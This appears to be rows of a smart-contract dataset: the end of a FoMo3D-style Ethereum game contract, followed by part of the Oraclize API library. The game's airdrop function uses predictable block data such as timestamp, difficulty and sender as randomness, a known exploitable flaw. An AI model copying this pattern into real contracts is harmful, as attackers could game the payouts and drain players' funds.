plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = 0;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
reward.transfer(_com);
uint256 _long = _eth / 50;
otherF3D_.transfer(_long);
uint256 _aff = 0;
if (_team == 0) {
_aff = (_eth.mul(11)) / (100);
} else if (_team == 1) {
_aff = (_eth.mul(11)) / (100);
} else if (_team == 2) {
_aff = (_eth.mul(31)) / (100);
} else if (_team == 3) {
_aff = (_eth.mul(45)) / (100);
}
if (_affID != _pID && plyr_[_affID].name != "") {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(fees_[_team].p3d)) / 100;
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == deployer, "only team just can activate");
require(address(otherF3D_) != address(0), "must link to other FoMo3D first");
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
function setOtherFomo(address _otherF3D)
public
{
require(msg.sender == deployer, "only team just can activate");
otherF3D_ = _otherF3D;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 348 |
pragma solidity ^0.4.24;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
